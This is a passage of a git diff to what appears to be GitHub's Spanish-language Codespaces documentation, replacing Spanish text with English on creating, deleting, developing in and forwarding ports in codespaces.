dev container configuration file (if more than one is available), and a machine type (if more than one is available). - -Alternatively, you can use flags to specify some or all of the options: - -```shell -gh codespace create -r OWNER/REPO -b BRANCH --devcontainer-path PATH -m MACHINE-TYPE -``` - -In this example, replace `owner/repo` with the repository identifier. Replace `branch` with the name of the branch, or the full SHA hash of the commit, that you want to be initially checked out in the codespace. If you use the `-r` flag without the `b` flag, the codespace is created from the default branch. - -Replace `path` with the path to the dev container configuration file you want to use for the new codespace. If you omit this flag and more than one dev container file is available you will be prompted to choose one from a list. For more information about the dev container configuration file, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." - -Replace `machine-type` with a valid identifier for an available machine type. Identifiers are strings such as: `basicLinux32gb` and `standardLinux32gb`. The type of machines that are available depends on the repository, your personal account, and your location. If you enter an invalid or unavailable machine type, the available types are shown in the error message. If you omit this flag and more than one machine type is available you will be prompted to choose one from a list. - -For full details of the options for this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_create). - -{% endcli %} - -## Further reading -- "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)" -- "[Adding an 'Open in GitHub Codespaces' badge](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge)" diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md index c8b07a6131..1d25db320d 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md @@ -1,7 +1,6 @@ --- title: Variables de ambiente predeterminadas para tu codespace shortTitle: Default environment variables -product: '{% data reusables.gated-features.codespaces %}' intro: '{% data variables.product.prodname_dotcom %} configura variables de ambiente predeterminadas para cada codespace.' versions: fpt: '*' @@ -11,12 +10,12 @@ topics: - Codespaces - Fundamentals - Developer -ms.openlocfilehash: e9034fb566c8245fff6d610ff456084dc9818f0b -ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b +ms.openlocfilehash: 1a57445bbffb3e1112299414e29796b716f2d801 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 11/04/2022 -ms.locfileid: '148134771' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158929' --- ## Acerca de las variables de ambiente predeterminadas @@ -32,7 +31,7 @@ ms.locfileid: '148134771' | Variable de entorno | Descripción | | ---------------------|------------ | -| `CODESPACE_NAME` | Nombre del codespace, por ejemplo, `monalisa-github-hello-world-2f2fsdf2e` | +| `CODESPACE_NAME` | Nombre del codespace, por ejemplo, `octocat-literate-space-parakeet-mld5` | | `CODESPACES` | Siempre `true` en un codespace | | `GIT_COMMITTER_EMAIL` | Correo electrónico del campo de "creador" de las confirmaciones de `git` futuras. | | `GIT_COMMITTER_NAME` | Nombre del campo de "responsable de la confirmación" de las confirmaciones de `git` futuras. | diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md index 204b70e4e6..c004006e66 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md @@ -1,7 +1,6 @@ --- -title: Borrar un codespace -intro: Puedes borrar un codespace que ya no necesites. -product: '{% data reusables.gated-features.codespaces %}' +title: Deleting a codespace +intro: You can delete a codespace you no longer need. redirect_from: - /github/developing-online-with-github-codespaces/deleting-a-codespace - /github/developing-online-with-codespaces/deleting-a-codespace @@ -14,25 +13,28 @@ topics: - Fundamentals - Developer shortTitle: Delete a codespace -ms.openlocfilehash: c3f9577642c0b3016f8145da9f65cf9ccb457d5e -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109877' --- -Hay costos asociados al almacenamiento de codespaces. Por lo tanto, debes eliminar los codespaces que ya no necesites. Para más información, consulta "[Acerca de la facturación de GitHub Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)". + +You can delete a codespace in a variety of ways: in the terminal by using {% data variables.product.prodname_cli %}, in {% data variables.product.prodname_vscode %}, or in your web browser. Use the tabs in this article to display instructions for each of these ways of deleting a codespace. + +{% note %} + +**Note**: You can't delete a codespace from within the JetBrains Gateway, or the JetBrains client application, or from within JupyterLab. + +{% endnote %} + +There are costs associated with storing codespaces. You should therefore delete any codespaces you no longer need. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." {% data reusables.codespaces.max-number-codespaces %} -## Borrar un codespace +## Deleting a codespace {% webui %} {% data reusables.codespaces.your-codespaces-procedure-step %} -1. A la derecha del codespace que quiera eliminar, haga clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y después en **{% octicon "trash" aria-label="The trash icon" %} Eliminar** +1. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete** - ![Botón Eliminar](/assets/images/help/codespaces/delete-codespace.png) + ![Delete button](/assets/images/help/codespaces/delete-codespace.png) {% endwebui %} @@ -47,86 +49,86 @@ Hay costos asociados al almacenamiento de codespaces. Por lo tanto, debes elimin {% data reusables.cli.cli-learn-more %} -Para eliminar un codespace, use el subcomando `gh codespace delete` y, después, elija un codespace en la lista que se muestra. +To delete a codespace use the `gh codespace delete` subcommand and then choose a codespace from the list that's displayed. ```shell gh codespace delete ``` -Si tienes cambios sin guardar, se te pedirá confirmar el borrado. Puede usar la marca `--force` para forzar la eliminación y evitar este aviso. +If you have unsaved changes, you'll be prompted to confirm deletion. You can use the `--force` flag to force deletion, avoiding this prompt. -Para más información sobre este comando, vea [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_delete). +For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_delete). {% endcli %} -## Eliminación masiva de codespaces +## Bulk deleting codespaces {% webui %} -Puedes usar {% data variables.product.prodname_cli %} para eliminar varios o todos los codespaces con un solo comando. Para obtener más información, haz clic en la pestaña **{% data variables.product.prodname_cli %}** que se encuentra cerca de la parte superior de esta página. +You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. {% endwebui %} {% vscode %} -Puedes usar {% data variables.product.prodname_cli %} para eliminar varios codespaces con un solo comando, o todos ellos. Para obtener más información, haz clic en la pestaña **{% data variables.product.prodname_cli %}** que se encuentra cerca de la parte superior de esta página. +You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. {% endvscode %} {% cli %} -Puedes eliminar varios codespaces, o todos ellos, con un solo comando mediante `gh codespace delete` seguido de una de estas marcas: +You can delete several or all of your codespaces with a single command, using `gh codespace delete` followed by one of these flags: -`--all`: elimina todos los codespaces. +`--all` - Delete all of your codespaces. -`--repo REPOSITORY`: elimina todos los codespaces de este repositorio. O bien, úsalo junto con la marca `--days` para filtrar por antigüedad del codespace. +`--repo REPOSITORY` - Delete all of your codespaces for this repository. Or use together with the `--days` flag to filter by age of the codespace. -`--days NUMBER`: elimina todos los codespaces anteriores al número de días especificado. Se puede usar junto con la marca `--repo`. +`--days NUMBER` - Delete all of your codespaces that are older than the specified number of days. Can be used together with the `--repo` flag. -De manera predeterminada, se te pedirá que confirmes la eliminación de los codespaces que contengan cambios no guardados. Puedes usar la marca `--force` para omitir esta confirmación. +By default you are prompted to confirm deletion of any codespaces that contain unsaved changes. You can use the `--force` flag to skip this confirmation. -### Ejemplo +### Example -Elimina todos los codespaces del repositorio `octo-org/octo-repo` que has creado hace más de 7 días. +Delete all of the codespaces for the `octo-org/octo-repo` repository that you created more than 7 days ago. ``` -gh cs delete --repo octo-org/octo-repo --days 7 +gh codespace delete --repo octo-org/octo-repo --days 7 ``` {% endcli %} -## Eliminación de codespaces en la organización +## Deleting codespaces in your organization -Como propietario de la organización, puedes usar {% data variables.product.prodname_cli %} para eliminar cualquier codespace de la organización. +As an organization owner, you can use {% data variables.product.prodname_cli %} to delete any codespace in your organization. {% webui %} -Para obtener más información, haz clic en la pestaña "{% data variables.product.prodname_cli %}" que se encuentra cerca de la parte superior de esta página. +For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. {% endwebui %} {% vscode %} -Para obtener más información, haz clic en la pestaña "{% data variables.product.prodname_cli %}" que se encuentra cerca de la parte superior de esta página. +For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. {% endvscode %} {% cli %} -1. Escribe uno de estos comandos para mostrar una lista de codespaces. - * `gh codespace delete --org ORGANIZATION` : enumera los codespaces actuales de la organización especificada. - * `gh codespace delete --org ORGANIZATION --user USER` : enumera solo los codespaces creados por el usuario especificado. - Debes ser un propietario de la organización especificada. -1. En la lista de codespaces, ve al codespace que desees eliminar. -1. Para eliminar el codespace seleccionado, presiona Entrar. +1. Enter one of these commands to display a list of codespaces. + * `gh codespace delete --org ORGANIZATION` - Lists the current codespaces in the specified organization. + * `gh codespace delete --org ORGANIZATION --user USER` - Lists only those codespaces created by the specified user. + You must be an owner of the specified organization. +1. In the list of codespaces, navigate to the codespace you want to delete. +1. To delete the selected codespace press Enter. - Si el codespace contiene cambios no guardados, se te pedirá que confirmes la eliminación. + If the codespace contains unsaved changes you will be prompted to confirm deletion. {% endcli %} -También puedes usar la API de REST para eliminar codespaces para tu organización. Para más información, consulta "[Organizaciones de Codespaces](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)". +You can also use the REST API to delete codespaces for your organization. For more information, see "[Codespaces organizations](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)." -## Información adicional -- "[Ciclo de vida de Codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)" -- "[Configuración de la eliminación automática de los codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)" +## Further reading +- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)" +- "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)" diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md index 054ddd03d6..0de2f28409 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md @@ -1,7 +1,6 @@ --- -title: Desarrollar en un codespace -intro: 'Puedes abrir un codespace en {% data variables.product.product_name %} y después desarrollar utilizando las características de {% data variables.product.prodname_vscode %}.' -product: '{% data reusables.gated-features.codespaces %}' +title: Developing in a codespace +intro: 'You can work in a codespace using your browser, {% data variables.product.prodname_vscode %}, a JetBrains IDE, or in a command shell.' redirect_from: - /github/developing-online-with-github-codespaces/developing-in-a-codespace - /github/developing-online-with-codespaces/developing-in-a-codespace @@ -14,46 +13,127 @@ topics: - Fundamentals - Developer shortTitle: Develop in a codespace -ms.openlocfilehash: 459e98978fdc062d96372c26c56a0f042878d40d -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109876' --- -## Acerca del desarrollo con {% data variables.product.prodname_github_codespaces %} -{% data variables.product.prodname_github_codespaces %} te proporciona la experiencia completa de desarrollo de {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %} +{% jetbrains %} -{% data reusables.codespaces.links-to-get-started %} +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} -![Resumen de codespace con anotaciones](/assets/images/help/codespaces/codespace-overview-annotated.png) +{% endjetbrains %} -1. Barra lateral - Predeterminadamente, esta área te muestra los archivos de tu proyexcto en el explorador. -2. Barra de actividad - Esto muestra las vistas y te proporciona una forma de cambiar entre ellas. Puedes volver a ordenar las vistas si las arrastras y las sueltas. -3. Editor - Aquí es donde editas tus archivos. Puedes utilzar la pestaña para que cada editor la posicione exactamente donde la necesitas. -4. Paneles - Aquí es donde puedes ver la información de salida y depuración, así como el lugar predeterminado para la Terminal integrada. -5. Barra de estado - Esta área te proporciona información útil sobre tu codespace y proyecto. Por ejemplo, el nombre de rama, los puertos configurados y más. +## About development with {% data variables.product.prodname_github_codespaces %} -Para obtener más información sobre el uso de {% data variables.product.prodname_vscode_shortname %}, consulta la [guía de la interfaz de usuario](https://code.visualstudio.com/docs/getstarted/userinterface) en la documentación de {% data variables.product.prodname_vscode_shortname %}. +You can develop code in a codespace using your choice of tool: -{% data reusables.codespaces.connect-to-codespace-from-vscode %} +* A command shell, via an SSH connection initiated using {% data variables.product.prodname_cli %}. +* One of the JetBrains IDEs, via the JetBrains Gateway. +* The {% data variables.product.prodname_vscode %} desktop application. +* A browser-based version of {% data variables.product.prodname_vscode %}. -{% data reusables.codespaces.use-chrome %} Para obtener más información, consulta "[Solución de problemas de clientes de {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-codespaces-clients)". +{% webui %} -### Personalizar tu codespace +The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for the web browser version of {% data variables.product.prodname_vscode %}. -{% data reusables.codespaces.about-personalization %} Para obtener más información, consulta "[Personalización de {% data variables.product.prodname_github_codespaces %} en tu cuenta](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account)". +## Working in a codespace in the browser -{% data reusables.codespaces.apply-devcontainer-changes %} Para obtener más información, consulta "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)". +Using {% data variables.product.prodname_codespaces %} in the browser provides you with a fully featured development experience. You can edit code, debug, use Git commands, and run your application. -### Ejecutar tu app desde un codespace -{% data reusables.codespaces.about-port-forwarding %} Para obtener más información, consulte "[Reenvío de puertos en su codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)". +![Annotated screenshot of a codespace in the browser](/assets/images/help/codespaces/codespace-overview-annotated.png) -### Configramr tus cambios +{% data reusables.codespaces.vscode-interface-annotation %} +{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)." +{% data reusables.codespaces.developing-in-vscode %} +{% data reusables.codespaces.navigating-to-a-codespace %} -{% data reusables.codespaces.committing-link-to-procedure %} +{% endwebui %} -### Utilizar la {% data variables.product.prodname_vscode_command_palette %} +{% vscode %} -La {% data variables.product.prodname_vscode_command_palette %} te permite acceder y administrar muchas de las características para {% data variables.product.prodname_github_codespaces %} y {% data variables.product.prodname_vscode_shortname %}. Para obtener más información, consulta "[Uso de {% data variables.product.prodname_vscode_command_palette_shortname %} en {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)". +The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_vscode %}. + +## Working in a codespace in {% data variables.product.prodname_vscode_shortname %} + +{% data variables.product.prodname_github_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %} + +![Annotated screenshot of a codespace in VS Code](/assets/images/help/codespaces/codespace-annotated-vscode.png) + +{% data reusables.codespaces.vscode-interface-annotation %} + +For more information on using {% data variables.product.prodname_vscode_shortname %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode_shortname %} documentation. + +{% data reusables.codespaces.connect-to-codespace-from-vscode %} + +For troubleshooting information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)." +{% data reusables.codespaces.developing-in-vscode %} +{% data reusables.codespaces.navigating-to-a-codespace %} + +{% endvscode %} + +{% jetbrains %} + +The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for JetBrains IDEs. + +## Working in a codespace in a JetBrains IDE + +To use {% data variables.product.prodname_github_codespaces %} with a JetBrains IDE you must have already installed JetBrains Gateway. For information about installing JetBrains Gateway, see [the JetBrains website](https://www.jetbrains.com/remote-development/gateway/). + +You can work in a codespace using your choice of JetBrains IDE. After creating a codespace, you can use the JetBrains Gateway application to open the codespace in your preferred IDE. + +You can edit code, debug, and use Git commands while developing in a codespace with your JetBrains IDE. For more information about the various JetBrains IDEs, see the [JetBrains documentation](https://www.jetbrains.com/help/). + +### IntelliJ IDEA user interface + +Within the {% data variables.product.prodname_github_codespaces %} documentation we use IntelliJ IDEA as a representative JetBrains IDE. Different JetBrains IDEs may have different layouts. + +![Annotated screenshot of a codespace in JetBrains IntelliJ IDEA](/assets/images/help/codespaces/jetbrains-gui-with-callouts.png) + +1. **Navigation bar** - This displays the path to the currently selected file or directory. Use the buttons to the right of the navigation bar to perform various actions, including building, running, or debugging the project, or running Git commands to commit and push your changes. +2. **Project tool window** - This shows you the structure of your project and allows you to open files in the editor. +3. **{% data variables.product.prodname_github_codespaces %} tool window** - This is displayed by clicking the {% data variables.product.prodname_github_codespaces %} plugin in the bar to the left of the tool window. It displays information about your codespace, including its display name and machine type. The buttons at the top of this tool window allow you to: + * Stop the codespace and disconnect + * Display the "Your codespaces" web page + * View the codespace creation logs + * Rebuild the dev container +4. **Editor** - This is where you edit your files. You can right-click the tab for a file to access options such as moving the tab to a new window. +5. **Terminal** - This is displayed by clicking **Terminal** in the tool window bar at the bottom of the main window (just above the status bar). The integrated terminal allows you to perform command-line tasks without having to switch to a dedicated terminal application. +6. **Status bar** - Hover over the icon at the left of the status bar to see a list of tools. Click the icon to hide or show the tool window bars. The right side of the status bar shows information about the project, including the current Git branch. + +For more information about the IntelliJ IDEA user interface, see the [JetBrains documentation for IntelliJ IDEA](https://www.jetbrains.com/help/idea/guided-tour-around-the-user-interface.html). + +### Customizing the codespaces for a repository + +You can customize the codespaces that are created for a repository by creating or updating the dev container configuration for the repository. You can do this from within a codespace. After you change a dev container configuration, you can apply the changes to the current codespace by rebuilding the Docker container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." + +### Personalizing your codespace + +You can use a [dotfiles](https://dotfiles.github.io/tutorials/) repository to personalize aspects of the codespace environment for any codespace that you create. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)." + +### Committing your changes + +Once you've made changes to your codespace, either new code or configuration changes, you'll want to commit and push your changes. Pushing changes to a repository ensures that anyone else who creates a codespace from this repository has the same configuration. This also means that any customization you do, to modify the configuration of codespaces created for a repository, will be available to everybody who uses the repository. + +For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes)." + +## Further reading + +* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)" +* "[Using the {% data variables.product.prodname_github_codespaces %} plugin for JetBrains](/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains)" +* "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)" + +{% endjetbrains %} + +{% cli %} + +The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_cli %}. + +## Working in a codespace in a command shell + +{% data reusables.cli.cli-learn-more %} + +You can use {% data variables.product.prodname_cli %} to create a new codespace, or start an existing codespace, and then SSH to it. Once connected, you can work on the command line using your preferred command-line tools. + +After installing {% data variables.product.prodname_cli %} and authenticating with your {% data variables.product.prodname_dotcom %} account you can use the command `gh codespace [...] --help` to browse the help information. Alternatively, you can view the same reference information at [https://cli.github.com/manual/gh_codespace](https://cli.github.com/manual/gh_codespace). + +For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with GitHub CLI](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)." + +{% endcli %} diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md index 4a205dadc9..260ee1be7e 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md @@ -1,7 +1,6 @@ --- -title: Reenviar puertos en tu codespace +title: Forwarding ports in your codespace intro: '{% data reusables.codespaces.about-port-forwarding %}' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -13,67 +12,76 @@ topics: - Fundamentals - Developer shortTitle: Forward ports -ms.openlocfilehash: 6e178c02b1170a60235a1ecf931001a7db58a187 -ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 11/04/2022 -ms.locfileid: '148134747' --- -## Acerca de los puertos reenviados -La redirección de puertos te otorga acceso a los puertos CRP dentro de tu codespace. Por ejemplo, si estás ejecutando una aplicación web en un puerto específico en tu codespace, puedes reenviar dicho puerto. Esto te permite acceder a la aplicación desde el buscador en tu máquina local para hacer pruebas y correcciones de errores. +{% jetbrains %} -Cuando una aplicación que se ejecuta dentro de un codespace imprime la salida en el terminal que contiene una dirección URL de localhost, como `http://localhost:PORT` o `http://127.0.0.1:PORT`, el puerto se reenvía de forma automática. Si estás utilizando {% data variables.product.prodname_github_codespaces %} en el explorador o en {% data variables.product.prodname_vscode %}, la secuencia de URL en la terminal se convertirá en un vínculo en el que puedes hacer clic para ver la página web en tu máquina local. De manera predeterminada, {% data variables.product.prodname_github_codespaces %} reenvía los puertos mediante HTTP. +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} -![Reenvío automático de puertos](/assets/images/help/codespaces/automatic-port-forwarding.png) +{% endjetbrains %} -{% data reusables.codespaces.forwarded-ports-environment-variable %} +## About forwarded ports -También puedes reenviar un puerto de forma manual, etiquetar los puertos reenviados, compartir los puertos reenviados con los miembros de tu organización, compartir los puertos reenviados de forma pública y agregar puertos reenviados a la configuración del codespace. - -{% note %} - -**Nota**: {% data reusables.codespaces.restrict-port-visibility %} - -{% endnote %} - -## Reenviar un puerto - -Puedes reenviar manualmente a un puerto que no se haya reenviado automáticamente. +Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging. {% webui %} +{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %} {% data reusables.codespaces.navigate-to-ports-tab %} -1. En la lista de puertos, haga clic en **Agregar puerto**. +1. Under the list of ports, click **Add port**. - ![Botón de agregar puerto](/assets/images/help/codespaces/add-port-button.png) + ![Add port button](/assets/images/help/codespaces/add-port-button.png) -1. Teclea el número de puerto o de dirección y luego presiona enter. +1. Type the port number or address, then press enter. - ![Botón de caja de texto para teclear el puerto](/assets/images/help/codespaces/port-number-text-box.png) + ![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png) -## Utilizar el reenvío HTTPS +## Using HTTPS forwarding -De manera predeterminada, {% data variables.product.prodname_github_codespaces %} reenvía los puertos mediante HTTP, pero puedes actualizar cualquier puerto para que utilice HTTPS según sea necesario. Si actualizas un puerto con visibilidad pública para usar HTTPS, la visibilidad del puerto cambiará automáticamente a privada. +By default, {% data variables.product.prodname_github_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed. If you update a port with public visibility to use HTTPS, the port's visibility will automatically change to private. {% data reusables.codespaces.navigate-to-ports-tab %} -1. Haga clic con el botón derecho en el puerto que quiera actualizar y, después, mantenga el mouse sobre **Cambiar protocolo de puerto**. - ![Opción para cambiar el protocolo del puerto](/assets/images/help/codespaces/update-port-protocol.png) -1. Selecciona el protocolo necesario para este puerto. El protocolo que selecciones se recordará para este puerto durante toda la vida útil del codespace. +1. Right click the port you want to update, then hover over **Change Port Protocol**. + ![Option to change port protocol](/assets/images/help/codespaces/update-port-protocol.png) +1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace. + +{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %} + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**. + ![Option to select port visibility in right-click menu](/assets/images/help/codespaces/make-public-option.png) +1. To the right of the local address for the port, click the copy icon. + ![Copy icon for port URL](/assets/images/help/codespaces/copy-icon-port-url.png) +1. Send the copied URL to the person you want to share the port with. + +{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %} +{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %} {% endwebui %} {% vscode %} +{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %} {% data reusables.codespaces.navigate-to-ports-tab %} -1. En la lista de puertos, haga clic en **Agregar puerto**. +1. Under the list of ports, click **Add port**. - ![Botón de agregar puerto](/assets/images/help/codespaces/add-port-button.png) + ![Add port button](/assets/images/help/codespaces/add-port-button.png) -1. Teclea el número de puerto o de dirección y luego presiona enter. +1. Type the port number or address, then press enter. - ![Botón de caja de texto para teclear el puerto](/assets/images/help/codespaces/port-number-text-box.png) + ![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png) + +{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %} + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**. + ![Option to make port public in right-click menu](/assets/images/help/codespaces/make-public-option.png) +1. To the right of the local address for the port, click the copy icon. + ![Copy icon for port URL](/assets/images/help/codespaces/copy-icon-port-url.png) +1. Send the copied URL to the person you want to share the port with. + +{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %} +{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %} {% endvscode %} @@ -82,90 +90,48 @@ De manera predeterminada, {% data variables.product.prodname_github_codespaces % {% data reusables.cli.cli-learn-more %} -Para reenviar un puerto, use el subcomando `gh codespace ports forward`. Reemplace `codespace-port:local-port` por los puertos remotos y locales que quiera conectar. Después de ingresar el comando, elige de la lista de codespaces que se muestra. +To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed. ```shell gh codespace ports forward CODESPACE-PORT:LOCAL-PORT ``` -Para más información sobre este comando, vea [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_forward). +For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward). -Para ver detalles de los puertos reenviados, escriba `gh codespace ports` y elija un codespace. +To see details of forwarded ports enter `gh codespace ports` and then choose a codespace. -{% endcli %} +{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %} -## Compartir un puerto +To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %} -{% note %} - -**Nota:** Solo puede hacer que un puerto sea privado para una organización si en la organización se usa {% data variables.product.prodname_team %} o {% data variables.product.prodname_ghe_cloud %}. - -{% endnote %} - -Si quieres compartir un puerto reenviado con otros, puedes ya sea hacerlo privado para tu organización o hacerlo público. Después de hacer un puerto privado para tu organización, cualquier miembro de esta que tenga la URL de dicho puerto podrá ver la aplicación que se está ejecutando. Después de hacer un puerto público, cualquiera que sepa la URL y el número de puerto podrá ver la aplicación que se está ejecutando sin necesidad de autenticarse. - -{% note %} - -**Nota:** La elección de las opciones de visibilidad del puerto puede estar limitada por una directiva configurada para la organización. Para más información, vea "[Restricción de la visibilidad de los puertos reenviados](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)". - -{% endnote %} - -{% webui %} - -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Haga clic con el botón derecho en el puerto que quiere compartir, seleccione el menú "Visibilidad del puerto" y, después, haga clic en **Privado para la organización** o **Público**. - ![Opción para seleccionar la visibilidad del puerto en el menú contextual](/assets/images/help/codespaces/make-public-option.png) -1. A la derecha de la dirección local del puerto, haz clic en el icono de copiar. - ![Icono Copiar para la URL del puerto](/assets/images/help/codespaces/copy-icon-port-url.png) -1. Envía la URL copiada a la persona con la que quieras compartir el puerto. - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Haga clic con el botón derecho en el puerto que quiere compartir, seleccione el menú "Visibilidad del puerto" y, después, haga clic en **Privado para la organización** o **Público**. - ![Opción para convertir el puerto en público en el menú contextual](/assets/images/help/codespaces/make-public-option.png) -1. A la derecha de la dirección local del puerto, haz clic en el icono de copiar. - ![Icono Copiar para la URL del puerto](/assets/images/help/codespaces/copy-icon-port-url.png) -1. Envía la URL copiada a la persona con la que quieras compartir el puerto. - -{% endvscode %} - -{% cli %} - -Para cambiar la visibilidad de un puerto reenviado, use el subcomando `gh codespace ports visibility`. {% data reusables.codespaces.port-visibility-settings %} - -Reemplace `codespace-port` por el número de puerto reenviado. Reemplace `setting` por `private`, `org` o `public`. Después de ingresar el comando, elige de la lista de codespaces que se muestra. +Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, 